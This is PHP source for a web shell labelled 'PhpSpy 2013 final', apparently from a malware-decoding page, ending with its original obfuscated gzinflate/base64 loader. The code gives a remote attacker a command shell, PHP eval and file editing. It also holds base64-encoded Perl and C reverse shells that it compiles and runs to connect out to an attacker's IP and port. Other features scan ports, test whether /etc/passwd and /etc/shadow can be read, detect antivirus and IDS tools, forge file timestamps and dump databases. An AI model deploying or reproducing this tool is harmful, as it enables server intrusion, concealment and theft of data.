		"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
		"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
		"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
		"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
		"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
	$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
		"BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
		"SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
		"KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
		"sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
		"Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
		"QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
		"Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";

	if ($p1 == 'start' && $p2 && $p3 && $p4){
		if ($p4 == 'perl') {
			cf('/tmp/angel_bc',$back_connect);
			$res = execute(which('perl')." /tmp/angel_bc ".$p2." ".$p3." &");
		} else {
			cf('/tmp/angel_bc.c',$back_connect_c);
			$res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
			@unlink('/tmp/angel_bc.c');
			$res = execute("/tmp/angel_bc ".$p2." ".$p3." &");
		}
		m('Now script try connect to '.$p2.':'.$p3.' ...');
	}

	formhead(array('title'=>'', 'onsubmit'=>'g(\'backconnect\',null,\'start\',this.p2.value,this.p3.value,this.p4.value);return false;'));
	p('<p>');
	p('Your IP:');
	makeinput(array('name'=>'p2','size'=>20,'value'=>$p2));
	p('Your Port:');
	makeinput(array('name'=>'p3','size'=>15,'value'=>$p3));
	p('Use:');
	makeselect(array('name'=>'p4','option'=>$usedb,'selected'=>$p4));
	makeinput(array('value'=>'','type'=>'submit','class'=>'bt'));
	p('</p>');
	formfoot();
}//end

elseif ($act == 'portscan') {
	!$p2 && $p2 = '127.0.0.1';
	!$p3 && $p3 = '21,80,135,139,445,1433,3306,3389,5631,43958';
	formhead(array('title'=>' ', 'onsubmit'=>'g(\'portscan\',null,\'start\',this.p2.value,this.p3.value);return false;'));
	p('<p>');
	p('IP:');
	makeinput(array('name'=>'p2','size'=>20,'value'=>$p2));
	p('Port:');
	makeinput(array('name'=>'p3','size'=>80,'value'=>$p3));
	makeinput(array('value'=>'','type'=>'submit','class'=>'bt'));
	p('</p>');
	formfoot();

	if ($p1 == 'start') {
		p('<h2> &raquo;</h2>');
		p('<ul class="info">');
		foreach(explode(',', $p3) as $port) {
			$fp = @fsockopen($p2, $port, $errno, $errstr, 1);
			if (!$fp) {
				p('<li>'.$p2.':'.$port.' ------------------------ <span class="b"></span></li>');
		   } else {
				p('<li>'.$p2.':'.$port.' ------------------------ <span class="red b"></span></li>');
				@fclose($fp);
		   }
		}
		p('</ul>');
	}
}

elseif ($act == 'eval') {
	$phpcode = trim($p1);
	if($phpcode){
		if (!preg_match('#<\?#si', $phpcode)) {
			$phpcode = "<?php

{$phpcode}

?>";
		}
		eval("?".">$phpcode<?");
	}
	formhead(array('title'=>'PHP  ', 'onsubmit'=>'g(\'eval\',null,this.p1.value);return false;'));
	maketext(array('title'=>'PHP ','name'=>'p1', 'value'=>$phpcode));
	p('<p><a href="http://w'.'ww.4'.'ng'.'el.net/php'.'sp'.'y/pl'.'ugin/" target="_blank"> </a></p>');
	formfooter();
}//end eval

elseif ($act == 'editfile') {

	// 
	if ($p1 == 'edit' && $p2 && $p3) {
		$fp = @fopen($p2,'w');
		m('Save file '.(@fwrite($fp,$p3) ? '' : 'failed'));
		@fclose($fp);
	}
	$contents = '';
	if(file_exists($p2)) {
		$fp=@fopen($p2,'r');
		$contents=@fread($fp, filesize($p2));
		@fclose($fp);
		$contents=htmlspecialchars($contents);
	}
	formhead(array('title'=>'  / ', 'onsubmit'=>'g(\'editfile\',null,\'edit\',this.p2.value,this.p3.value);return false;'));
	makeinput(array('title'=>'','name'=>'p2','value'=>$p2,'newline'=>1));
	maketext(array('title'=>'','name'=>'p3','value'=>$contents));
	formfooter();
	goback();

}//end editfile

elseif ($act == 'newtime') {
	$filemtime = @filemtime($p1);

	formhead(array('title'=>'/     .', 'onsubmit'=>'g(\'file\',null,\'clonetime\',this.p2.value,this.p3.value);return false;'));
	makeinput(array('title'=>'/ ','name'=>'p2','value'=>$p1,'size'=>120,'newline'=>1));
	makeinput(array('title'=>'/ ','name'=>'p3','value'=>$cwd,'size'=>120,'newline'=>1));
	formfooter();

	formhead(array('title'=>'  ', 'onsubmit'=>'g(\'file\',null,\'settime\',this.p2.value,this.p3.value);return false;'));
	makeinput(array('title'=>' /','name'=>'p2','value'=>$p1,'size'=>120,'newline'=>1));
	makeinput(array('title'=>' ','name'=>'p3','value'=>date("Y-m-d H:i:s", $filemtime),'size'=>120,'newline'=>1));
	formfooter();

	goback();
}//end newtime

elseif ($act == 'shell') {
	formhead(array('title'=>' ', 'onsubmit'=>'g(\'shell\',null,this.p1.value);return false;'));
	p('<p>');
	makeinput(array('name'=>'p1','value'=>htmlspecialchars($p1)));
	makeinput(array('class'=>'bt','type'=>'submit','value'=>''));
	p('</p>');
	formfoot();

	if ($p1) {
		p('<pre>'.execute($p1).'</pre>');
	}
}//end shell

elseif ($act == 'phpenv') {
	$d=array();
	if(function_exists('mysql_get_client_info'))
		$d[] = "MySQL (".mysql_get_client_info().")";
	if(function_exists('mssql_connect'))
		$d[] = "MSSQL";
	if(function_exists('pg_connect'))
		$d[] = "PostgreSQL";
	if(function_exists('oci_connect'))
		$d[] = "Oracle";
	$info = array(
		1 => array(' ',date('Y/m/d h:i:s',$timestamp)),
		2 => array(' ',$_SERVER['SERVER_NAME']),
		3 => array(' ',gethostbyname($_SERVER['SERVER_NAME'])),
		4 => array(' OS',PHP_OS),
		5 => array(' OS ',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
		6 => array(' ',$_SERVER['SERVER_SOFTWARE']),
		7 => array(' ',$_SERVER['SERVER_PORT']),
		8 => array('PHP  ',strtoupper(php_sapi_name())),
		9 => array(' ',__FILE__),

		10 => array('PHP ',PHP_VERSION),
		11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:g(\'phpinfo\');"></a>' : '')),
		12 => array(' ',getcfg('safe_mode')),
		13 => array('',(isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from'))),
		14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
		15 => array('enable_dl',getcfg('enable_dl')),
		16 => array('display_errors',getcfg('display_errors')),
		17 => array('register_globals',getcfg('register_globals')),
		18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
		19 => array('memory_limit',getcfg('memory_limit')),
		20 => array('post_max_size',getcfg('post_max_size')),
		21 => array('upload_max_filesize',(getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed')),
		22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
		23 => array('disable_functions',($dis_func ? $dis_func : '')),
		24 => array('  DB',implode(', ', $d)),
		25 => array('cURL ',function_exists('curl_version') ? '' : ''),
		26 => array('open_basedir',getcfg('open_basedir')),
		27 => array(' exec ',getcfg('safe_mode_exec_dir')),
		28 => array(' include ',getcfg('safe_mode_include_dir')),
	);

	$hp = array(0=> '', 1=> 'PHP');
	for($a=0;$a<2;$a++) {
		p('<h2>'.$hp[$a].' &raquo;</h2>');
		p('<ul class="info">');
		if ($a==0) {
			for($i=1;$i<=9;$i++) {
				p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
			}
		} elseif ($a == 1) {
			for($i=10;$i<=25;$i++) {
				p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
			}
		}
		p('</ul>');
	}
}//end phpenv

elseif ($act == 'secinfo') {

	if( !IS_WIN ) {
		$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
		$danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
		$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
		secparam('/etc/passwd  ', @is_readable('/etc/passwd') ? "" : '');
		secparam('/etc/shadow  ', @is_readable('/etc/shadow') ? "" : '');
		secparam('OS ', @file_get_contents('/proc/version'));
		secparam('', @file_get_contents('/etc/issue.net'));
		$safe_mode = @ini_get('safe_mode');
		if(!$GLOBALS['safe_mode']) {
			$temp=array();
			foreach ($userful as $item)
				if(which($item)){$temp[]=$item;}
			secparam('', implode(', ',$temp));
			$temp=array();
			foreach ($danger as $item)
				if(which($item)){$temp[]=$item;}
			secparam('', implode(', ',$temp));
			$temp=array();
			foreach ($downloaders as $item)
				if(which($item)){$temp[]=$item;}
			secparam('', implode(', ',$temp));
			secparam('', @file_get_contents('/etc/hosts'));
			secparam(' ', execute('df -h'));
			secparam(' ', @file_get_contents('/etc/fstab'));
		}
	} else {
		secparam('OS ',execute('ver'));
		secparam(' ',execute('net accounts'));
		secparam(' ',execute('net user'));
		secparam('IP ',execute('ipconfig -all'));
	}
}//end

else {
	m('   ');
}

?>
</td></tr></table>
<div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
	<span style="float:right;">
	<?php
	debuginfo();
	ob_end_flush();
	if (isset($DB)) {
		echo '. '.$DB->querycount.' ';
	}
	?>
	</span>
	<a title="Build 20130112" href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> 2013 final</a> optimized for Korean by <a title="IMFASTKR" href="http://imfast.kr" target="_blank">substr_sql</a>
</div>
</body>
</html>

<?php

/*======================================================

======================================================*/

function secparam($n, $v) {
	$v = trim($v);
	if($v) {
		p('<h2>'.$n.' &raquo;</h2>');
		p('<div class="infolist">');
		if(strpos($v, "
") === false)
			p($v.'<br />');
		else
			p('<pre>'.$v.'</pre>');
		p('</div>');
	}
}
function m($msg) {
	echo '<div style="margin:10px auto 15px auto;background:#ffffe0;border:1px solid #e6db55;padding:10px;font:14px;text-align:center;font-weight:bold;">';
	echo $msg;
	echo '</div>';
}
function s_array($array) {
	return is_array($array) ? array_map('s_array', $array) : stripslashes($array);
}
function scookie($key, $value, $life = 0, $prefix = 1) {
	global $timestamp, $_SERVER, $cookiepre, $cookiedomain, $cookiepath, $cookielife;
	$key = ($prefix ? $cookiepre : '').$key;
	$life = $life ? $life : $cookielife;
	$useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
	setcookie($key, $value, $timestamp+$life, $cookiepath, $cookiedomain, $useport);
}
function loginpage() {
	formhead();
	makehide('act','login');
	makeinput(array('name'=>'password','type'=>'password','size'=>'20'));
	makeinput(array('type'=>'submit','value'=>''));
	formfoot();
	exit;
}
function execute($cfe) {
	$res = '';
	if ($cfe) {
		if(function_exists('system')) {
			@ob_start();
			@system($cfe);
			$res = @ob_get_contents();
			@ob_end_clean();
		} elseif(function_exists('passthru')) {
			@ob_start();
			@passthru($cfe);
			$res = @ob_get_contents();
			@ob_end_clean();
		} elseif(function_exists('shell_exec')) {
			$res = @shell_exec($cfe);
		} elseif(function_exists('exec')) {
			@exec($cfe,$res);
			$res = join("
",$res);
		} elseif(@is_resource($f = @popen($cfe,"r"))) {
			$res = '';
			while(!@feof($f)) {
				$res .= @fread($f,1024);
			}
			@pclose($f);
		}
	}
	return $res;
}
function which($pr) {
	$path = execute("which $pr");
	return ($path ? $path : $pr); 
}
function cf($fname,$text){
	if($fp=@fopen($fname,'w')) {
		@fputs($fp,base64_decode($text));
		@fclose($fp);
	}
}
function dirsize($cwd) { 
	$dh = @opendir($cwd);
	$size = 0;
	while($file = @readdir($dh)) {
		if ($file != '.' && $file != '..') {
			$path = $cwd.'/'.$file;
			$size += @is_dir($path) ? dirsize($path) : sprintf("%u", @filesize($path));
		}
	}
	@closedir($dh);
	return $size;
}
// 
function debuginfo() {
	global $starttime;
	$mtime = explode(' ', microtime());
	$totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
	echo ''.$totaltime.'  ';
}

// HTML
function html_clean($content) {
	$content = htmlspecialchars($content);
	$content = str_replace("
", "<br />", $content);
	$content = str_replace("  ", "&nbsp;&nbsp;", $content);
	$content = str_replace("	", "&nbsp;&nbsp;&nbsp;&nbsp;", $content);
	return $content;
}

// 
function getChmod($file){
	return substr(base_convert(@fileperms($file),10,8),-4);
}

function PermsColor($f) {
	if (!is_readable($f)) {
		return '<span class="red">'.getPerms($f).'</span>';
	} elseif (!is_writable($f)) {
		return '<span class="black">'.getPerms($f).'</span>';
	} else {
		return '<span class="green">'.getPerms($f).'</span>';
	}
}
function getPerms($file) {
	$mode = @fileperms($file);
	if (($mode & 0xC000) === 0xC000) {$type = 's';}
	elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
	elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}
	elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
	elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}
	elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
	elseif (($mode & 0x1000) === 0x1000) {$type = 'p';}
	else {$type = '?';}

	$owner['read'] = ($mode & 00400) ? 'r' : '-'; 
	$owner['write'] = ($mode & 00200) ? 'w' : '-';
	$owner['execute'] = ($mode & 00100) ? 'x' : '-'; 
	$group['read'] = ($mode & 00040) ? 'r' : '-'; 
	$group['write'] = ($mode & 00020) ? 'w' : '-'; 
	$group['execute'] = ($mode & 00010) ? 'x' : '-'; 
	$world['read'] = ($mode & 00004) ? 'r' : '-'; 
	$world['write'] = ($mode & 00002) ? 'w' : '-'; 
	$world['execute'] = ($mode & 00001) ? 'x' : '-'; 

	if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
	if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
	if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
 
	return $type.$owner['read'].$owner['write'].$owner['execute'].$group['read'].$group['write'].$group['execute'].$world['read'].$world['write'].$world['execute'];
}

function getUser($file)	{
	if (function_exists('posix_getpwuid')) {
		$array = @posix_getpwuid(@fileowner($file));
		if ($array && is_array($array)) {
			return ' / <a href="#" title=": '.$array['name'].'&#13&#10: '.$array['passwd'].'&#13&#10Uid: '.$array['uid'].'&#13&#10gid: '.$array['gid'].'&#13&#10Gecos: '.$array['gecos'].'&#13&#10: '.$array['dir'].'&#13&#10: '.$array['shell'].'">'.$array['name'].'</a>';
		}
	}
	return '';
}

function copy_paste($c,$f,$d){
	if(is_dir($c.$f)){
		mkdir($d.$f);
		$dirs = scandir($c.$f);
		if ($dirs) {
			$dirs = array_diff($dirs, array('..', '.'));
			foreach ($dirs as $file) {
				copy_paste($c.$f.'/',$file, $d.$f.'/');
			}
		}
	} elseif(is_file($c.$f)) {
		copy($c.$f, $d.$f);
	}
}
// 
function deltree($deldir) {
	$dirs = @scandir($deldir);
	if ($dirs) {
		$dirs = array_diff($dirs, array('..', '.'));
		foreach ($dirs as $file) {	
			if((is_dir($deldir.'/'.$file))) {
				@chmod($deldir.'/'.$file,0777);
				deltree($deldir.'/'.$file); 
			} else {
				@chmod($deldir.'/'.$file,0777);
				@unlink($deldir.'/'.$file);
			}
		}
		@chmod($deldir,0777);
		return @rmdir($deldir) ? 1 : 0;
	} else {
		return 0;
	}
}

// 
function bg() {
	global $bgc;
	return ($bgc++%2==0) ? 'alt1' : 'alt2';
}

function cmp($a, $b) {
	global $sort;
	if(is_numeric($a[$sort[0]])) {
		return (($a[$sort[0]] < $b[$sort[0]]) ? -1 : 1)*($sort[1]?1:-1);
	} else {
		return strcmp($a[$sort[0]], $b[$sort[0]])*($sort[1]?1:-1);
	}
}

// 
function getUpPath($cwd) {
	$pathdb = explode('/', $cwd);
	$num = count($pathdb);
	if ($num > 2) {
		unset($pathdb[$num-1],$pathdb[$num-2]);
	}
	$uppath = implode('/', $pathdb).'/';
	$uppath = str_replace('//', '/', $uppath);
	return $uppath;
}

// PHP
function getcfg($varname) {
	$result = get_cfg_var($varname);
	if ($result == 0) {
		return 'No';
	} elseif ($result == 1) {
		return 'Yes';
	} else {
		return $result;
	}
}

// 
function getext($file) {
	$info = pathinfo($file);
	return $info['extension'];
}
function GetWDirList($path){
	global $dirdata,$j,$web_cwd;
	!$j && $j=1;
	$dirs = @scandir($path);
	if ($dirs) {
		$dirs = array_diff($dirs, array('..','.'));
		foreach ($dirs as $file) {
			$f=str_replace('//','/',$path.'/'.$file);
			if(is_dir($f)){
				if (is_writable($f)) {
					$dirdata[$j]['filename']='/'.str_replace($web_cwd,'',$f);
					$dirdata[$j]['mtime']=@date('Y-m-d H:i:s',filemtime($f));
					$dirdata[$j]['chmod']=getChmod($f);
					$dirdata[$j]['perm']=PermsColor($f);
					$dirdata[$j]['owner']=getUser($f);
					$dirdata[$j]['link']=$f;
					$j++;
				}
				GetWDirList($f);
			}
		}
		return $dirdata;
	} else {
		return array();
	}
}
function sizecount($size) {
	$unit = array('Bytes', 'KB', 'MB', 'GB', 'TB','PB');
	for ($i = 0; $size >= 1024 && $i < 5; $i++) {
		$size /= 1024;
	}
	return round($size, 2).' '.$unit[$i];
}
function p($str){
	echo $str."
";
}

function makehide($name,$value=''){
	p("<input id=\"$name\" type=\"hidden\" name=\"$name\" value=\"$value\" />");
}

function makeinput($arg = array()){
	$arg['size'] = isset($arg['size']) && $arg['size'] > 0 ? "size=\"$arg[size]\"" : "size=\"100\"";
	$arg['type'] = isset($arg['type']) ? $arg['type'] : 'text';
	$arg['title'] = isset($arg['title']) ? $arg['title'].'<br />' : '';
	$arg['class'] = isset($arg['class']) ? $arg['class'] : 'input';
	$arg['name'] = isset($arg['name']) ? $arg['name'] : '';
	$arg['value'] = isset($arg['value']) ? $arg['value'] : '';
	if (isset($arg['newline'])) p('<p>');
	p("$arg[title]<input class=\"$arg[class]\" name=\"$arg[name]\" id=\"$arg[name]\" value=\"$arg[value]\" type=\"$arg[type]\" $arg[size] />");
	if (isset($arg['newline'])) p('</p>');
}

function makeselect($arg = array()){
	$onchange = isset($arg['onchange']) ? 'onchange="'.$arg['onchange'].'"' : '';
	$arg['title'] = isset($arg['title']) ? $arg['title'] : '';
	$arg['name'] = isset($arg['name']) ? $arg['name'] : '';
	p("$arg[title] <select class=\"input\" id=\"$arg[name]\" name=\"$arg[name]\" $onchange>");
		if (is_array($arg['option'])) {
			foreach ($arg['option'] as $key=>$value) {
				if ($arg['selected']==$key) {
					p("<option value=\"$key\" selected>$value</option>");
				} else {
					p("<option value=\"$key\">$value</option>");
				}
			}
		}
	p("</select>");
}
function formhead($arg = array()) {
	!isset($arg['method']) && $arg['method'] = 'post';
	!isset($arg['name']) && $arg['name'] = 'form1';
	$arg['extra'] = isset($arg['extra']) ? $arg['extra'] : '';
	$arg['onsubmit'] = isset($arg['onsubmit']) ? "onsubmit=\"$arg[onsubmit]\"" : '';
	p("<form name=\"$arg[name]\" id=\"$arg[name]\" action=\"".SELF."\" method=\"$arg[method]\" $arg[onsubmit] $arg[extra]>");
	if (isset($arg['title'])) {
		p('<h2>'.$arg['title'].' &raquo;</h2>');
	}
}
	
function maketext($arg = array()){
	$arg['title'] = isset($arg['title']) ? $arg['title'].'<br />' : '';
	$arg['name'] = isset($arg['name']) ? $arg['name'] : '';
	p("<p>$arg[title]<textarea class=\"area\" id=\"$arg[name]\" name=\"$arg[name]\" cols=\"100\" rows=\"25\">$arg[value]</textarea></p>");
}

function formfooter($name = ''){
	!$name && $name = 'submit';
	p('<p><input class="bt" name="'.$name.'" id="'.$name.'" type="submit" value=""></p>');
	p('</form>');
}

function goback(){
	global $cwd, $charset;
	p('<form action="'.SELF.'" method="post"><input type="hidden" name="act" value="file" /><input type="hidden" name="cwd" value="'.$cwd.'" /><input type="hidden" name="charset" value="'.$charset.'" /><p><input class="bt" type="submit" value="..."></p></form>');
}

function formfoot(){
	p('</form>');
}

function encode_pass($pass) {
	$k = 'angel';
	$pass = md5($k.$pass);
	$pass = md5($pass.$k);
	$pass = md5($k.$pass.$k);
	return $pass;
}

function pr($a) {
	p('<div style="text-align: left;border:1px solid #ddd;"><pre>'.print_r($a).'</pre></div>');
}

class DB_MySQL  {

	var $querycount = 0;
	var $link;
	var $charsetdb = array();
	var $charset = '';

	function connect($dbhost, $dbuser, $dbpass, $dbname='') {
		@ini_set('mysql.connect_timeout', 5);
		if(!$this->link = @mysql_connect($dbhost, $dbuser, $dbpass, 1)) {
			$this->halt('Can not connect to MySQL server');
		}
		if($this->version() > '4.1') {
			$this->setcharset($this->charset);
		}
		$dbname && mysql_select_db($dbname, $this->link);
	}
	function setcharset($charset) {
		if ($charset && $this->charsetdb[$charset]) {
			if(function_exists('mysql_set_charset')) {
				mysql_set_charset($this->charsetdb[$charset], $this->link);
			} else {
				$this->query("SET character_set_connection='".$this->charsetdb[$charset]."', character_set_results='".$this->charsetdb[$charset]."', character_set_client=binary");
			}
		}
	}
	function select_db($dbname) {
		return mysql_select_db($dbname, $this->link);
	}
	function geterrdesc() {
		return (($this->link) ? mysql_error($this->link) : mysql_error());
	}
	function geterrno() {
		return intval(($this->link) ? mysql_errno($this->link) : mysql_errno());
	}
	function fetch($query, $result_type = MYSQL_ASSOC) { //MYSQL_NUM
		return mysql_fetch_array($query, $result_type);
	}
	function query($sql) {
		//echo '<p style="color:#f00;">'.$sql.'</p>';
		if(!($query = mysql_query($sql, $this->link))) {
			$this->halt('MySQL Query Error', $sql);
		}
		$this->querycount++;
		return $query;
	}
	function query_res($sql) { 
		$res = '';
		if(!$res = mysql_query($sql, $this->link)) { 
			$res = 0;
		} else if(is_resource($res)) {
			$res = 1; 
		} else {
			$res = 2;
		}
		$this->querycount++;
		return $res;
	}
	function num_rows($query) {
		$query = mysql_num_rows($query);
		return $query;
	}
	function num_fields($query) {
		$query = mysql_num_fields($query);
		return $query;
	}
	function affected_rows() {
		return mysql_affected_rows($this->link);
	}
	function result($query, $row) {
		$query = mysql_result($query, $row);
		return $query;
	}	
	function free_result($query) {
		$query = mysql_free_result($query);
		return $query;
	}
	function version() {
		return mysql_get_server_info($this->link);
	}
	function close() {
		return mysql_close($this->link);
	}
	function halt($msg =''){
		echo "<h2>".htmlspecialchars($msg)."</h2>
";
		echo "<p class=\"b\">Mysql error description: ".htmlspecialchars($this->geterrdesc())."</p>
";
		echo "<p class=\"b\">Mysql error number: ".$this->geterrno()."</p>
";
		exit;
	}
	function get_fields_meta($result) {
		$fields = array();
		$num_fields = $this->num_fields($result);
		for ($i = 0; $i < $num_fields; $i++) {
			$field = mysql_fetch_field($result, $i);
			$fields[] = $field;
		}
		return $fields;
	}
	function sqlAddSlashes($s = ''){
		$s = str_replace('\', '\', $s);
		$s = str_replace('\'', '\'\'', $s);
		return $s;
	}
	function sqldump($table, $fp=0) {
		$crlf = (IS_WIN ? "
" : "
");
		$search = array("", "
", "
", ""); //	, not required
		$replace = array('', '
', '
', '\Z');

		if (isset($this->charset) && isset($this->charsetdb[$this->charset])) {
			$set_names = $this->charsetdb[$this->charset];
		} else {
			$set_names = $this->charsetdb['utf-8'];
		}
		$tabledump = 'SET SQL_MODE="NO_AUTO_VALUE_ON_ZERO";'.$crlf.$crlf;
		$tabledump .= '/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;'.$crlf
			   . '/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;'.$crlf
			   . '/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;'.$crlf
			   . '/*!40101 SET NAMES ' . $set_names . ' */;'.$crlf.$crlf;

		$tabledump .= "DROP TABLE IF EXISTS `$table`;".$crlf;
		$res = $this->query("SHOW CREATE TABLE $table");
		$create = $this->fetch($res, MYSQL_NUM);
		$tabledump .= $create[1].';'.$crlf.$crlf;
		if (strpos($tabledump, "(
 ")) {
			$tabledump = str_replace("
", $crlf, $tabledump);
		} elseif (strpos($tabledump, "(
 ")) {
			$tabledump = str_replace("
", $crlf, $tabledump);
		} elseif (strpos($tabledump, "(
 ")) {
			$tabledump = str_replace("
", $crlf, $tabledump);
		}
		unset($create);

		if ($fp) {
			fwrite($fp,$tabledump);
		} else {
			echo $tabledump;
		}
		$tabledump = '';
		$rows = $this->query("SELECT * FROM $table");
		$fields_cnt = $this->num_fields($rows);
		$fields_meta = $this->get_fields_meta($rows);

		while ($row = $this->fetch($rows, MYSQL_NUM)) {
			for ($j = 0; $j < $fields_cnt; $j++) {
				if (!isset($row[$j]) || is_null($row[$j])) {
					$values[] = 'NULL';
				} elseif ($fields_meta[$j]->numeric && $fields_meta[$j]->type != 'timestamp' && !$fields_meta[$j]->blob) {
					$values[] = $row[$j];
				} elseif ($fields_meta[$j]->blob) {
					if (empty($row[$j]) && $row[$j] != '0') {
						$values[] = '\'\'';
					} else {
						$values[] = '0x'.bin2hex($row[$j]);
					}
				} else {
					$values[] = '\''.str_replace($search, $replace, $this->sqlAddSlashes($row[$j])).'\'';
				}
			}
			$tabledump = 'INSERT INTO `'.$table.'` VALUES('.implode(', ', $values).');'.$crlf;
			unset($values);
			if ($fp) {
				fwrite($fp,$tabledump);
			} else {
				echo $tabledump;
			}
		}
		$this->free_result($rows);
	}
}
?>

Did this file decode correctly?

Original Code

<?php
$pass = '7eac0819cb76eaff2bcc1dd617de678f';
$temp=gzinflate(base64_decode("3X1pc1zHkeBnOEL/4bHV1mtIjb4AkARAgARBkAQJAiAOnkC0+3jd/Yjufq0+AEI0f4zW9ux4dyyRJmkeogjopCTLksbjHa09MbMehY/xeuSwI8ayx8fE5lFVr97ROCh5dmN1oLursrKyqrKysrKysp760hGr2XSa2abVcJptu16OHegdeepLR1pWq2U79WyrnWu2YyKpnW3bNStbtWt2O5ZSibVc2S5kn+84bauVbXbqCMTZdilmtNrNhtOiz7ZTddatZsyIZhcm589Nzl82Ty4uzmWX4Fd2/MTkzKK5YvTGDTPvtE2j19g3OmqUctWWBd+vPfWlnoqVK0JxKpRMJ1LGQGrAmHHaxnGnUy+aWGOPddVuw+f1p77k5DXqozWkyhg1rKuNqlO0YqZhxo2aXWg6RG4vARG8AOQSl9MrxnPye2oFgIpWya5D+YXx7Pzs7CJggZZh/1VzBUheXoYUMwl/inazngPU2ezxqenJbLa3NwHpvTqKyenjAOj2xtzJuSwlrhiHw5OHteSFifmpucXszPiZSXNFxzu1kD0/NQOYj03NT04szs5fhDJz4/Pj8NWAPkUiffAn5iYAvuwfzXKjILqmaLeypU69AD2DUIVSObuWg7GA9Fy+alFeGzim5ccMxE/NHJ8F7LF9VtMq27FIo9Kw6yUnEldYe3uhwWloXcqQfMNEiZGPZudmFxah7lY212zmNmKc0MsjHZ3D8aIUSOjUgSk1AMgvOM6qbTWaOK6mOaJSik4tZ9d9iY1cu4JJSS2tapew7MH9A6mUQFnJNaGeYh6SmSQg08zb5UGzp6dndMzg73FMLTT6Du7fb3JyoYHfKd3qFPquNER654rdcpNXmyIZfsB3Si/nVyVu/EppdsvpO3hwcKgvbVJGNQeTOM15q459sE/iwR9NLb2jpXc4vdMu9R2UNcCPg5y8bteLznqrL50ZzPgrEf2bK7ShG+wWdfzcZRN+A0ciD8sfMLSij7nfPOAizS2iErCY6A5iQgcklKcopbgFxU9ZW8lpGrGoPZoeidqHRgfg73PPCYa6ZjbMRNS+7sFGSQoZ/5K4riNbGjEBrIb/svy60usRUpGCU29b9Xbf4kbDGjba1tV2stKuVUcMAT/K7YpIHkYJA/Kn1gCKWCSNcI3cu6NGpOqUnU47wtW0mDFjJqTa9Uau1UK5A//3EZMazxr9+wdJIh6RYnPaKeRwikKDEihOfPI